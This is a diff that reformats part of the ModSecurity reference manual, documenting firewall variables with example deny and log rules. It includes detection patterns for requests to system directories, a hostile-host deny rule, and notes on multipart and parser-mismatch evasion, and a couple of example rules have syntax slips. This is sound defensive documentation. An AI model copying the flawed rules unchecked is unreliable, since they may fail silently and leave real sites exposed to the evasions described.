at the + arguments named p (do note that, in + general, requests can contain multiple arguments with the same name): + SecRule ARGS:p dirty + It is also possible to specify exclusions. The following will examine + all request arguments for the word dirty, except + the ones named z (again, there can be + zero or more arguments named z): + SecRule ARGS|!ARGS:z dirty + There is a special operator that allows you to count how many variables + there are in a collection. The following rule will trigger if there is + more than zero arguments in the request (ignore the second parameter for + the time being): SecRule &ARGS !^0$ + And sometimes you need to look at an array of parameters, each with a + slightly different name. In this case you can specify a regular + expression in the selection operator itself. The following rule will + look into all arguments whose names begin with id_: SecRule ARGS:/^id_/ dirty + - Using ARGS:p will not result in any invocations against the - operator if argument p does not exist. - In ModSecurity 1.X, the ARGS variable stood for QUERY_STRING + POST_PAYLOAD, whereas now it expands to - individual variables. + Using ARGS:p will not result in any + invocations against the operator if argument p does not exist. + + In ModSecurity 1.X, the ARGS variable stood + for QUERY_STRING + POST_PAYLOAD, + whereas now it expands to individual variables.
+
<literal moreinfo="none">ARGS_COMBINED_SIZE</literal> - This variable allows you to set more targeted evaluations on the total size of the - Arguments as compared with normal Apache LimitRequest directives. For example, you could - create a rule to ensure that the total size of the argument data is below a certain - threshold (to help prevent buffer overflow issues). Example: Block request if the size of - the arguments is above 25 characters. + + This variable allows you to set more targeted evaluations on the + total size of the Arguments as compared with normal Apache LimitRequest + directives. For example, you could create a rule to ensure that the + total size of the argument data is below a certain threshold (to help + prevent buffer overflow issues). Example: Block request if the size of + the arguments is above 25 characters. + SecRule REQUEST_FILENAME "^/cgi-bin/login\.php" \ "chain,log,deny,phase:2,t:none,t:lowercase,t:normalisePath" SecRule ARGS_COMBINED_SIZE "@gt 25"
+
<literal moreinfo="none">ARGS_NAMES</literal> - Is a collection of the argument names. You can search for specific argument names that - you want to block. In a positive policy scenario, you can also whitelist (using an inverted - rule with the ! character) only authorized argument names. Example: This example rule will - only allow 2 argument names - p and a. If any other argument names are injected, it will be - blocked. + + Is a collection of the argument names. You can search for specific + argument names that you want to block. In a positive policy scenario, + you can also whitelist (using an inverted rule with the ! character) + only authorized argument names. Example: This example rule will only + allow 2 argument names - p and a. If any other argument names are + injected, it will be blocked. + SecRule REQUEST_FILENAME "/index.php" \ "chain,log,deny,status:403,phase:2,t:none,t:lowercase,t:normalisePath" SecRule ARGS_NAMES "!^(p|a)$" "t:none,t:lowercase"
+
<literal moreinfo="none">ARGS_GET</literal> - ARGS_GET is similar to ARGS, but only contains - arguments from the query string. + + ARGS_GET is similar to ARGS, + but only contains arguments from the query string.
+
<literal moreinfo="none">ARGS_GET_NAMES</literal> - ARGS_GET_NAMES is similar to ARGS_NAMES, but only - contains argument names from the query string. + + ARGS_GET_NAMES is similar to + ARGS_NAMES, but only contains argument names from the + query string.
+
<literal moreinfo="none">ARGS_POST</literal> - ARGS_POST is similar to ARGS, but only contains - arguments from the POST body. + + ARGS_POST is similar to + ARGS, but only contains arguments from the POST + body.
+
<literal moreinfo="none">ARGS_POST_NAMES</literal> - ARGS_POST_NAMES is similar to ARGS_NAMES, but only - contains argument names from the POST body. + + ARGS_POST_NAMES is similar to + ARGS_NAMES, but only contains argument names from the + POST body.
+
<literal moreinfo="none">AUTH_TYPE</literal> - This variable holds the authentication method used to validate a user. Example: + + This variable holds the authentication method used to validate a + user. Example: + SecRule AUTH_TYPE "basic" log,deny,status:403,phase:1,t:lowercase + Note - This data will not be available in a proxy-mode deployment as the authentication is not - local. In a proxy-mode deployment, you would need to inspect the REQUEST_HEADERS:Authorization header. + + This data will not be available in a proxy-mode deployment as the + authentication is not local. In a proxy-mode deployment, you would need + to inspect the REQUEST_HEADERS:Authorization + header.
+
<literal moreinfo="none">ENV</literal> - Collection, requires a single parameter (after colon). The ENV - variable is set with setenv and does not give access to the CGI environment variables. - Example: + + Collection, requires a single parameter (after colon). The + ENV variable is set with setenv and does not give + access to the CGI environment variables. Example: + SecRule REQUEST_FILENAME "printenv" pass,setenv:tag=suspicious SecRule ENV:tag "suspicious"
+
<literal moreinfo="none">FILES</literal> - Collection. Contains a collection of original file names (as they were called on the - remote user's file system). Note: only available if files were extracted from the request - body. Example: + + Collection. Contains a collection of original file names (as they + were called on the remote user's file system). Note: only available if + files were extracted from the request body. Example: + SecRule FILES "\.conf$" log,deny,status:403,phase:2
+
<literal moreinfo="none">FILES_COMBINED_SIZE</literal> - Single value. Total size of the uploaded files. Note: only available if files were - extracted from the request body. Example: + + Single value. Total size of the uploaded files. Note: only + available if files were extracted from the request body. Example: + SecRule FILES_COMBINED_SIZE "@gt 1000" log,deny,status:403,phase:2
+
<literal moreinfo="none">FILES_NAMES</literal> - Collection w/o parameter. Contains a list of form fields that were used for file upload. - Note: only available if files were extracted from the request body. Example: + + Collection w/o parameter. Contains a list of form fields that were + used for file upload. Note: only available if files were extracted from + the request body. Example: + SecRule FILES_NAMES "^upfile$" log,deny,status:403,phase:2
+
<literal moreinfo="none">FILES_SIZES</literal> - Collection. Contains a list of file sizes. Useful for implementing a size limitation on - individual uploaded files. Note: only available if files were extracted from the request - body. Example: + + Collection. Contains a list of file sizes. Useful for implementing + a size limitation on individual uploaded files. Note: only available if + files were extracted from the request body. Example: + SecRule FILES_SIZES "@gt 100" log,deny,status:403,phase:2
+
<literal moreinfo="none">FILES_TMPNAMES</literal> - Collection. Contains a collection of temporary files' names on the disk. Useful when - used together with @inspectFile. Note: only available if - files were extracted from the request body. Example: + + Collection. Contains a collection of temporary files' names on the + disk. Useful when used together with @inspectFile. Note: only available if files + were extracted from the request body. Example: + SecRule FILES_TMPNAMES "@inspectFile /path/to/inspect_script.pl"
+
<literal moreinfo="none">GEO</literal> - GEO is a collection populated by the @geoLookups operator. It can be used to match geographical fields looked up by - an IP address or hostname. + + GEO is a collection populated by the @geoLookups operator. It can be used to match + geographical fields looked up by an IP address or hostname. + Available since 2.2.0. + Fields: + - COUNTRY_CODE: Two character country code. EX: US, UK, - etc. + COUNTRY_CODE: Two character country code. + EX: US, UK, etc. + - COUNTRY_CODE3: Up to three character country code. + COUNTRY_CODE3: Up to three character + country code. + - COUNTRY_NAME: The full country name. + COUNTRY_NAME: The full country + name. + - COUNTRY_CONTINENT: The two character continent that the country - is located. EX: EU + COUNTRY_CONTINENT: The two character + continent that the country is located. EX: EU + - REGION: The two character region. For US, this is state. For - Canada, providence, etc. + REGION: The two character region. For US, + this is state. For Canada, providence, etc. + CITY: The city name. + POSTAL_CODE: The postal code. + LATITUDE: The latitude. + LONGITUDE: The longitude. + - DMA_CODE: The metropolitan area code. (US only) + DMA_CODE: The metropolitan area code. (US + only) + - AREA_CODE: The phone system area code. (US only) + AREA_CODE: The phone system area code. + (US only) + Example: + SecRule REMOTE_ADDR "@geoLookup" "chain,drop,msg:'Non-UK IP address'" SecRule GEO:COUNTRY_CODE "!@streq UK"
+
<literal moreinfo="none">HIGHEST_SEVERITY</literal> - This variable holds the highest severity of any rules that have matched so far. - Severities are numeric values and thus can be used with comparison operators such as - @lt, etc. + + This variable holds the highest severity of any rules that have + matched so far. Severities are numeric values and thus can be used with + comparison operators such as @lt, + etc. + Higher severities have a lower numeric value. + A value of 255 indicates no severity has been set. + SecRule HIGHEST_SEVERITY "@le 2" "phase:2,deny,status:500,msg:'severity %{HIGHEST_SEVERITY}'"
+
<literal moreinfo="none">MATCHED_VAR</literal> - This variable holds the value of the variable that was matched against. It is similar to - the TX:0, except it can be used for all operators and does not require that the capture action be specified. + + This variable holds the value of the variable that was matched + against. It is similar to the TX:0, except it can be used for all + operators and does not require that the capture action be specified. + SecRule ARGS pattern chain,deny ... SecRule MATCHED_VAR "further scrutiny"
+
<literal moreinfo="none">MATCHED_VAR_NAME</literal> - This variable holds the full name of the variable that was matched against. + + This variable holds the full name of the variable that was matched + against. + SecRule ARGS pattern setvar:tx.mymatch=%{MATCHED_VAR_NAME} ... SecRule TX:MYMATCH "@eq ARGS:param" deny
+
<literal moreinfo="none">MODSEC_BUILD</literal> - This variable holds the ModSecurity build number. This variable is intended to be used - to check the build number prior to using a feature that is available only in a certain - build. Example: + + This variable holds the ModSecurity build number. This variable is + intended to be used to check the build number prior to using a feature + that is available only in a certain build. Example: + SecRule MODSEC_BUILD "!@ge 02050102" skipAfter:12345 SecRule ARGS "@pm some key words" id:12345,deny,status:500
+
<literal>MULTIPART_CRLF_LF_LINES</literal> - This flag variable will be set to 1 whenever a multi-part request - uses mixed line terminators. The multipart/form-data RFC requires - CRLF sequence to be used to terminate lines. Since some client - implementations use only LF to terminate lines you might want to allow - them to proceed under certain circumstances (if you want to do this you will need to stop - using MULTIPART_STRICT_ERROR and check each multi-part flag variable - individually, avoiding MULTIPART_LF_LINE). However, mixing CRLF and LF line terminators is dangerous as it can allow - for evasion. Therefore, in such cases, you will have to add a check for MULTIPART_CRLF_LF_LINES. + + This flag variable will be set to 1 whenever a + multi-part request uses mixed line terminators. The + multipart/form-data RFC requires + CRLF sequence to be used to terminate lines. Since + some client implementations use only LF to terminate + lines you might want to allow them to proceed under certain + circumstances (if you want to do this you will need to stop using + MULTIPART_STRICT_ERROR and check each multi-part flag + variable individually, avoiding MULTIPART_LF_LINE). + However, mixing CRLF and LF line + terminators is dangerous as it can allow for evasion. Therefore, in such + cases, you will have to add a check for + MULTIPART_CRLF_LF_LINES.
+
<literal>MULTIPART_STRICT_ERROR</literal> - MULTIPART_STRICT_ERROR will be set to 1 when any - of the following variables is also set to 1: REQBODY_PROCESSOR_ERROR, MULTIPART_BOUNDARY_QUOTED, MULTIPART_BOUNDARY_WHITESPACE, MULTIPART_DATA_BEFORE, - MULTIPART_DATA_AFTER, MULTIPART_HEADER_FOLDING, - MULTIPART_LF_LINE, MULTIPART_SEMICOLON_MISSING. Each - of these variables covers one unusual (although sometimes legal) aspect of the request body - in multipart/form-data format. Your policies should - always contain a rule to check either this variable (easier) or one - or more individual variables (if you know exactly what you want to accomplish). Depending on - the rate of false positives and your default policy you should decide whether to block or - just warn when the rule is triggered. - The best way to use this variable is as in the example below: + + MULTIPART_STRICT_ERROR will be set to + 1 when any of the following variables is also set to + 1: REQBODY_PROCESSOR_ERROR, + MULTIPART_BOUNDARY_QUOTED, + MULTIPART_BOUNDARY_WHITESPACE, + MULTIPART_DATA_BEFORE, + MULTIPART_DATA_AFTER, + MULTIPART_HEADER_FOLDING, + MULTIPART_LF_LINE, + MULTIPART_SEMICOLON_MISSING. Each of these variables + covers one unusual (although sometimes legal) aspect of the request body + in multipart/form-data format. Your policies should + always contain a rule to check either this variable + (easier) or one or more individual variables (if you know exactly what + you want to accomplish). Depending on the rate of false positives and + your default policy you should decide whether to block or just warn when + the rule is triggered. + + The best way to use this variable is as in the example + below: + SecRule MULTIPART_STRICT_ERROR "!@eq 0" \ "phase:2,t:none,log,deny,msg:'Multipart request body \ failed strict validation: \ @@ -1998,354 +3008,566 @@ DA %{MULTIPART_DATA_AFTER}, \ HF %{MULTIPART_HEADER_FOLDING}, \ LF %{MULTIPART_LF_LINE}, \ SM %{MULTIPART_SEMICOLON_MISSING}'" - The multipart/form-data parser was upgraded in ModSecurity v2.1.3 to - actively look for signs of evasion. Many variables (as listed above) were added to expose - various facts discovered during the parsing process. The MULTIPART_STRICT_ERROR variable is handy to check on all abnormalities at once. - The individual variables allow detection to be fine-tuned according to your circumstances in - order to reduce the number of false positives. Detailed analysis of various evasion - techniques covered will be released as a separated document at a later date. + + The multipart/form-data parser was upgraded in + ModSecurity v2.1.3 to actively look for signs of evasion. Many variables + (as listed above) were added to expose various facts discovered during + the parsing process. The MULTIPART_STRICT_ERROR + variable is handy to check on all abnormalities at once. The individual + variables allow detection to be fine-tuned according to your + circumstances in order to reduce the number of false positives. Detailed + analysis of various evasion techniques covered will be released as a + separated document at a later date.
+
<literal>MULTIPART_UNMATCHED_BOUNDARY</literal> - Set to 1 when, during the parsing phase of a multipart/request-body, ModSecurity encounters what feels like a boundary but - it is not. Such an event may occur when evasion of ModSecurity is attempted. - The best way to use this variable is as in the example below: + + Set to 1 when, during the parsing phase of a + multipart/request-body, ModSecurity encounters what + feels like a boundary but it is not. Such an event may occur when + evasion of ModSecurity is attempted. + + The best way to use this variable is as in the example + below: + SecRule MULTIPART_UNMATCHED_BOUNDARY "!@eq 0" \ "phase:2,t:none,log,deny,msg:'Multipart parser detected a possible unmatched boundary.'" - Change the rule from blocking to logging-only if many false positives are - encountered. + + Change the rule from blocking to logging-only if many false + positives are encountered.
+
<literal moreinfo="none">PATH_INFO</literal> - Besides passing query information to a script/handler, you can also pass additional - data, known as extra path information, as part of the URL. Example: + + Besides passing query information to a script/handler, you can + also pass additional data, known as extra path information, as part of + the URL. Example: + SecRule PATH_INFO "^/(bin|etc|sbin|opt|usr)"
+
<literal moreinfo="none">QUERY_STRING</literal> - This variable holds form data passed to the script/handler by appending data after a - question mark. Warning: Not URL-decoded. Example: + + This variable holds form data passed to the script/handler by + appending data after a question mark. Warning: Not URL-decoded. + Example: + SecRule QUERY_STRING "attack"
+
<literal moreinfo="none">REMOTE_ADDR</literal> - This variable holds the IP address of the remote client. Example: + + This variable holds the IP address of the remote client. + Example: + SecRule REMOTE_ADDR "^192\.168\.1\.101$"
+
<literal moreinfo="none">REMOTE_HOST</literal> - If HostnameLookUps are set to On, then this variable will hold the DNS resolved remote - host name. If it is set to Off, then it will hold the remote IP address. Possible uses for - this variable would be to deny known bad client hosts or network blocks, or conversely, to - allow in authorized hosts. Example: + + If HostnameLookUps are set to On, then this variable will hold the + DNS resolved remote host name. If it is set to Off, then it will hold + the remote IP address. Possible uses for this variable would be to deny + known bad client hosts or network blocks, or conversely, to allow in + authorized hosts. Example: + SecRule REMOTE_HOST "\.evil\.network\org$"
+
<literal moreinfo="none">REMOTE_PORT</literal> - This variable holds information on the source port that the client used when initiating - the connection to our web server. Example: in this example, we are evaluating to see if the - REMOTE_PORT is less than 1024, which would indicate that the user is a - privileged user (root). + + This variable holds information on the source port that the client + used when initiating the connection to our web server. Example: in this + example, we are evaluating to see if the REMOTE_PORT + is less than 1024, which would indicate that the user is a privileged + user (root). + SecRule REMOTE_PORT "@lt 1024" phase:1,log,pass,setenv:remote_port=privileged
+
<literal moreinfo="none">REMOTE_USER</literal> - This variable holds the username of the authenticated user. If there are no password - (basic|digest) access controls in place, then this variable will be empty. Example: + + This variable holds the username of the authenticated user. If + there are no password (basic|digest) access controls in place, then this + variable will be empty. Example: + SecRule REMOTE_USER "admin" + Note - This data will not be available in a proxy-mode deployment as the authentication is not - local. + + This data will not be available in a proxy-mode deployment as the + authentication is not local.
+
<literal moreinfo="none">REQBODY_PROCESSOR</literal> - Built-in processors are URLENCODED, MULTIPART, and XML. - Example: + + Built-in processors are URLENCODED, + MULTIPART, and XML. + Example: + SecRule REQBODY_PROCESSOR "^XML$ chain SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"
+
- <literal moreinfo="none">REQBODY_PROCESSOR_ERROR</literal> - Possible values are 0 (no error) or 1 (error). This variable will be set by request body - processors (typically the multipart/request-data parser or the XML - parser) when they fail to properly parse a request payload. + <literal + moreinfo="none">REQBODY_PROCESSOR_ERROR</literal> + + Possible values are 0 (no error) or 1 (error). This variable will + be set by request body processors (typically the + multipart/request-data parser or the XML parser) + when they fail to properly parse a request payload. + Example: + SecRule REQBODY_PROCESSOR_ERROR "@eq 1" deny,phase:2 + - Your policies must have a rule to check REQBODY_PROCESSOR_ERROR - at the beginning of phase 2. Failure to do so will leave the door open for impedance - mismatch attacks. It is possible, for example, that a payload that cannot be parsed by - ModSecurity can be successfully parsed by more tolerant parser operating in the - application. If your policy dictates blocking then you should reject the request if error - is detected. When operating in detection-only mode your rule should alert with high - severity when request body processing fails. + Your policies must have a rule to check + REQBODY_PROCESSOR_ERROR at the beginning of phase 2. Failure to do so + will leave the door open for impedance mismatch attacks. It is + possible, for example, that a payload that cannot be parsed by + ModSecurity can be successfully parsed by more tolerant parser + operating in the application. If your policy dictates blocking then + you should reject the request if error is detected. When operating in + detection-only mode your rule should alert with high severity when + request body processing fails.
+
- <literal moreinfo="none">REQBODY_PROCESSOR_ERROR_MSG</literal> - Empty, or contains the error message from the processor. Example: + <literal + moreinfo="none">REQBODY_PROCESSOR_ERROR_MSG</literal> + + Empty, or contains the error message from the processor. + Example: + SecRule REQBODY_PROCESSOR_ERROR_MSG "failed to parse" t:lowercase
+
<literal moreinfo="none">REQUEST_BASENAME</literal> - This variable holds just the filename part of REQUEST_FILENAME (e.g. - index.php). + + This variable holds just the filename part of + REQUEST_FILENAME (e.g. index.php). + Example: + SecRule REQUEST_BASENAME "^login\.php$" phase:2,t:none,t:lowercase + - Please note that anti-evasion transformations are not applied to this variable by - default. REQUEST_BASENAME will recognise both / and - \ as path separators. + Please note that anti-evasion transformations are not applied to + this variable by default. REQUEST_BASENAME will + recognise both / and \ as path + separators.
+
<literal moreinfo="none">REQUEST_BODY</literal> - This variable holds the data in the request body (including POST_PAYLOAD data). REQUEST_BODY should be used if the - original order of the arguments is important (ARGS should be used in all - other cases). Example: + + This variable holds the data in the request body (including + POST_PAYLOAD data). REQUEST_BODY + should be used if the original order of the arguments is important + (ARGS should be used in all other cases). + Example: + SecRule REQUEST_BODY "^username=\w{25,}\&password=\w{25,}\&Submit\=login$" + - This variable is only available if the URLENCODED request body - processor parsed a request body. This will occur by default when an application/x-www-form-urlencoded is detected, or the URLENCODED request body parser is forced. As of 2.5.7 it is possible to force - the presence of the REQUEST_BODY variable, but only when there is no - request body processor defined, using the ctl:forceRequestBodyVariable - option in the REQUEST_HEADERS phase. + This variable is only available if the + URLENCODED request body processor parsed a request + body. This will occur by default when an + application/x-www-form-urlencoded is detected, or + the URLENCODED request body parser is forced. As of + 2.5.7 it is possible to force the presence of the + REQUEST_BODY variable, but only when there is no + request body processor defined, using the + ctl:forceRequestBodyVariable option in the + REQUEST_HEADERS phase.
+
<literal moreinfo="none">REQUEST_COOKIES</literal> - This variable is a collection of all of the cookie data. Example: the following example - is using the Ampersand special operator to count how many variables are in the collection. - In this rule, it would trigger if the request does not include any Cookie headers. + + This variable is a collection of all of the cookie data. Example: + the following example is using the Ampersand special operator to count + how many variables are in the collection. In this rule, it would trigger + if the request does not include any Cookie headers. + SecRule &REQUEST_COOKIES "@eq 0"
+
<literal moreinfo="none">REQUEST_COOKIES_NAMES</literal> - This variable is a collection of the cookie names in the request headers. Example: the - following rule will trigger if the JSESSIONID cookie is not present. + + This variable is a collection of the cookie names in the request + headers. Example: the following rule will trigger if the JSESSIONID + cookie is not present. + SecRule &REQUEST_COOKIES_NAMES:JSESSIONID "@eq 0"
+
<literal moreinfo="none">REQUEST_FILENAME</literal> - This variable holds the relative REQUEST_URI minus the QUERY_STRING part (e.g. /index.php). Example: + + This variable holds the relative REQUEST_URI + minus the QUERY_STRING part (e.g. /index.php). + Example: + SecRule REQUEST_FILENAME "^/cgi-bin/login\.php$" phase:2,t:none,t:normalisePath + - Please note that anti-evasion transformations are not used on REQUEST_FILENAME by default. + Please note that anti-evasion transformations are not used on + REQUEST_FILENAME by default.
+
<literal moreinfo="none">REQUEST_HEADERS</literal> - This variable can be used as either a collection of all of the request headers or can be - used to specify individual headers (by using - REQUEST_HEADERS:Header-Name). Example: the first example uses - REQUEST_HEADERS as a collection and is applying the validateUrlEncoding operator against all headers. + + This variable can be used as either a collection of all of the + request headers or can be used to specify individual headers (by using + REQUEST_HEADERS:Header-Name). Example: the first + example uses REQUEST_HEADERS as a collection and is + applying the validateUrlEncoding operator against all + headers. + SecRule REQUEST_HEADERS "@validateUrlEncoding" - Example: the second example is targeting only the Host header. + + Example: the second example is targeting only the + Host header. + SecRule REQUEST_HEADERS:Host "^[\d\.]+$" \ "deny,log,status:400,msg:'Host header is a numeric IP address'"
+
<literal moreinfo="none">REQUEST_HEADERS_NAMES</literal> - This variable is a collection of the names of all of the request headers. - Example: + + This variable is a collection of the names of all of the request + headers. Example: + SecRule REQUEST_HEADERS_NAMES "^x-forwarded-for" \ "log,deny,status:403,t:lowercase,msg:'Proxy Server Used'"
+
<literal moreinfo="none">REQUEST_LINE</literal> - This variable holds the complete request line sent to the server (including the - REQUEST_METHOD and HTTP version data). Example: this example rule will trigger if the - request method is something other than GET, HEAD, POST or if the HTTP is something other - than HTTP/0.9, 1.0 or 1.1. + + This variable holds the complete request line sent to the server + (including the REQUEST_METHOD and HTTP version data). Example: this + example rule will trigger if the request method is something other than + GET, HEAD, POST or if the HTTP is something other than HTTP/0.9, 1.0 or + 1.1. + SecRule REQUEST_LINE "!(^((?:(?:pos|ge)t|head))|http/(0\.9|1\.0|1\.1)$)" t:none,t:lowercase
+
<literal moreinfo="none">REQUEST_METHOD</literal> + This variable holds the request method used by the client. - The following example will trigger if the request method is either CONNECT or TRACE. + + The following example will trigger if the request method is either + CONNECT or TRACE. + SecRule REQUEST_METHOD "^((?:connect|trace))$" t:none,t:lowercase
+
<literal moreinfo="none">REQUEST_PROTOCOL</literal> - This variable holds the request protocol version information. Example: + + This variable holds the request protocol version information. + Example: + SecRule REQUEST_PROTOCOL "!^http/(0\.9|1\.0|1\.1)$" t:none,t:lowercase
+
<literal moreinfo="none">REQUEST_URI</literal> - This variable holds the full URL including the QUERY_STRING data - (e.g. /index.php?p=X), however it will never contain a domain name, even if it was provided - on the request line. It also does not include either the REQUEST_METHOD - or the HTTP version info. + + This variable holds the full URL including the + QUERY_STRING data (e.g. /index.php?p=X), however it + will never contain a domain name, even if it was provided on the request + line. It also does not include either the + REQUEST_METHOD or the HTTP version info. + Example: + SecRule REQUEST_URI "attack" phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath + - Please note that anti-evasion transformations are not used on REQUEST_URI by default. + Please note that anti-evasion transformations are not used on + REQUEST_URI by default.
+
<literal moreinfo="none">REQUEST_URI_RAW</literal> - Same as REQUEST_URI but will contain the domain name if it was - provided on the request line (e.g. http://www.example.com/index.php?p=X). + + Same as REQUEST_URI but will contain the domain + name if it was provided on the request line (e.g. + http://www.example.com/index.php?p=X). + Example: + SecRule REQUEST_URI_RAW "http:/" phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath + - Please note that anti-evasion transformations are not used on REQUEST_URI_RAW by default. + Please note that anti-evasion transformations are not used on + REQUEST_URI_RAW by default.
+
<literal moreinfo="none">RESPONSE_BODY</literal> + This variable holds the data for the response payload. + Example: + SecRule RESPONSE_BODY "ODBC Error Code"
+
<literal>RESPONSE_CONTENT_LENGTH</literal> - Response body length in bytes. Can be available starting with phase 3 but it does not - have to be (as the length of response body is not always known in advance.) If the size is - not known this variable will contain a zero. If RESPONSE_CONTENT_LENGTH - contains a zero in phase 5 that means the actual size of the response body was 0. - The value of this variable can change between phases if the body is modified. For - example, in embedded mode mod_deflate can compress the response body - between phases 4 and 5. + + Response body length in bytes. Can be available starting with + phase 3 but it does not have to be (as the length of response body is + not always known in advance.) If the size is not known this variable + will contain a zero. If RESPONSE_CONTENT_LENGTH + contains a zero in phase 5 that means the actual size of the response + body was 0. + + The value of this variable can change between phases if the body + is modified. For example, in embedded mode + mod_deflate can compress the response body between + phases 4 and 5.
+
<literal>RESPONSE_CONTENT_TYPE</literal> - Response content type. Only available starting with phase 3. + + Response content type. Only available starting with phase + 3.
+
<literal moreinfo="none">RESPONSE_HEADERS</literal> - This variable is similar to the REQUEST_HEADERS variable and can be used in the same - manner. Example: + + This variable is similar to the REQUEST_HEADERS variable and can + be used in the same manner. Example: + SecRule RESPONSE_HEADERS:X-Cache "MISS" + Note - This variable may not have access to some headers when running in embedded-mode. Headers - such as Server, Date, Connection and Content-Type are added during a later Apache hook just - prior to sending the data to the client. This data should be available, however, either - during ModSecurity phase:5 (logging) or when running in proxy-mode. + + This variable may not have access to some headers when running in + embedded-mode. Headers such as Server, Date, Connection and Content-Type + are added during a later Apache hook just prior to sending the data to + the client. This data should be available, however, either during + ModSecurity phase:5 (logging) or when running in proxy-mode.
+
<literal moreinfo="none">RESPONSE_HEADERS_NAMES</literal> - This variable is a collection of the response header names. Example: + + This variable is a collection of the response header names. + Example: + SecRule RESPONSE_HEADERS_NAMES "Set-Cookie" + Note - Same limitations as RESPONSE_HEADERS with regards to access to some headers in - embedded-mode. + + Same limitations as RESPONSE_HEADERS with regards to access to + some headers in embedded-mode.
+
<literal moreinfo="none">RESPONSE_PROTOCOL</literal> - This variable holds the HTTP response protocol information. Example: + + This variable holds the HTTP response protocol information. + Example: + SecRule RESPONSE_PROTOCOL "^HTTP\/0\.9"
+
<literal moreinfo="none">RESPONSE_STATUS</literal> - This variable holds the HTTP response status code as generated by Apache. - Example: + + This variable holds the HTTP response status code as generated by + Apache. Example: + SecRule RESPONSE_STATUS "^[45]" + Note - This directive may not work as expected in embedded-mode as Apache handles many of the - stock response codes (404, 401, etc...) earlier in Phase 2. This variable should work as - expected in a proxy-mode deployment. + + This directive may not work as expected in embedded-mode as Apache + handles many of the stock response codes (404, 401, etc...) earlier in + Phase 2. This variable should work as expected in a proxy-mode + deployment.
+
<literal moreinfo="none">RULE</literal> - This variable provides access to the id, rev, severity, logdata, and msg fields of - the rule that triggered the action. Only available for expansion in action strings - (e.g.setvar:tx.varname=%{rule.id}). Example: + + This variable provides access to the id, rev, + severity, logdata, and msg fields of the rule that triggered the + action. Only available for expansion in action strings (e.g.setvar:tx.varname=%{rule.id}). Example: + SecRule &REQUEST_HEADERS:Host "@eq 0" "log,deny,setvar:tx.varname=%{rule.id}"
+
<literal moreinfo="none">SCRIPT_BASENAME</literal> - This variable holds just the local filename part of SCRIPT_FILENAME. Example: + + This variable holds just the local filename part of + SCRIPT_FILENAME. Example: + SecRule SCRIPT_BASENAME "^login\.php$" + Note + This variable is not available in proxy mode.
+
<literal moreinfo="none">SCRIPT_FILENAME</literal> - This variable holds the full path on the server to the requested script. (e.g. - SCRIPT_NAME plus the server path). Example: + + This variable holds the full path on the server to the requested + script. (e.g. SCRIPT_NAME plus the server path). Example: + SecRule SCRIPT_FILENAME "^/usr/local/apache/cgi-bin/login\.php$" + Note + This variable is not available in proxy mode.
+
<literal moreinfo="none">SCRIPT_GID</literal> - This variable holds the group id (numerical value) of the group owner of the script. - Example: + + This variable holds the group id (numerical value) of the group + owner of the script. Example: + SecRule SCRIPT_GID "!^46$" + Note + This variable is not available in proxy mode.
+
<literal moreinfo="none">SCRIPT_GROUPNAME</literal> - This variable holds the group name of the group owner of the script. Example: + + This variable holds the group name of the group owner of the + script. Example: + SecRule SCRIPT_GROUPNAME "!^apache$" + Note + This variable is not available in proxy mode.
+
<literal moreinfo="none">SCRIPT_MODE</literal> - This variable holds the script's permissions mode data (numerical - 1=execute, 2=write, - 4=read and 7=read/write/execute). Example: will trigger if the script has the WRITE - permissions set. + + This variable holds the script's permissions mode data (numerical + - 1=execute, 2=write, 4=read and 7=read/write/execute). Example: will + trigger if the script has the WRITE permissions set. + SecRule SCRIPT_MODE "^(2|3|6|7)$" + Note + This variable is not available in proxy mode.
+
<literal moreinfo="none">SCRIPT_UID</literal> - This variable holds the user id (numerical value) of the owner of the script. Example: - the example rule below will trigger if the UID is not 46 (the Apache user). + + This variable holds the user id (numerical value) of the owner of + the script. Example: the example rule below will trigger if the UID is + not 46 (the Apache user). + SecRule SCRIPT_UID "!^46$" + Note + This variable is not available in proxy mode.
+
<literal moreinfo="none">SCRIPT_USERNAME</literal> - This variable holds the username of the owner of the script. Example: + + This variable holds the username of the owner of the script. + Example: + SecRule SCRIPT_USERNAME "!^apache$" + Note + This variable is not available in proxy mode.
+
<literal moreinfo="none">SERVER_ADDR</literal> - This variable contains the IP address of the server. Example: + + This variable contains the IP address of the server. + Example: + SecRule SERVER_ADDR "^192\.168\.1\.100$"
+
<literal moreinfo="none">SERVER_NAME</literal> - This variable contains the server's hostname or IP address. Example: + + This variable contains the server's hostname or IP address. + Example: + SecRule SERVER_NAME "hostname\.com$" + Note - This data is taken from the Host header submitted in the client request. + + This data is taken from the Host header submitted in the client + request.
+
<literal moreinfo="none">SERVER_PORT</literal> - This variable contains the local port that the web server is listening on. - Example: + + This variable contains the local port that the web server is + listening on. Example: + SecRule SERVER_PORT "^80$"
+
<literal moreinfo="none">SESSION</literal> - This variable is a collection, available only after setsid is executed. Example: the following example shows how to initialize a - SESSION collection with setsid, how to use setvar to increase the session.score values, how - to set the session.blocked variable and finally how to deny the connection based on the - session:blocked value. + + This variable is a collection, available only after setsid is executed. Example: the following + example shows how to initialize a SESSION collection with setsid, how to + use setvar to increase the session.score values, how to set the + session.blocked variable and finally how to deny the connection based on + the session:blocked value. + SecRule REQUEST_COOKIES:PHPSESSID !^$ chain,nolog,pass SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} SecRule REQUEST_URI "^/cgi-bin/finger$" \ @@ -2353,115 +3575,174 @@ SecRule REQUEST_URI "^/cgi-bin/finger$" \ SecRule SESSION:SCORE "@gt 50" "pass,log,setvar:session.blocked=1" SecRule SESSION:BLOCKED "@eq 1" "log,deny,status:403"
+
<literal moreinfo="none">SESSIONID</literal> - This variable is the value set with setsid. - Example: + + This variable is the value set with setsid. Example: + SecRule SESSIONID !^$ chain,nolog,pass SecRule REQUEST_COOKIES:PHPSESSID !^$ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID}
+
<literal moreinfo="none">TIME</literal> - This variable holds a formatted string representing the time (hour:minute:second). - Example: + + This variable holds a formatted string representing the time + (hour:minute:second). Example: + SecRule TIME "^(([1](8|9))|([2](0|1|2|3))):\d{2}:\d{2}$"
+
<literal moreinfo="none">TIME_DAY</literal> - This variable holds the current date (1-31). Example: this rule would trigger anytime - between the 10th and 20th days of the month. + + This variable holds the current date (1-31). Example: this rule + would trigger anytime between the 10th and 20th days of the + month. + SecRule TIME_DAY "^(([1](0|1|2|3|4|5|6|7|8|9))|20)$"
+
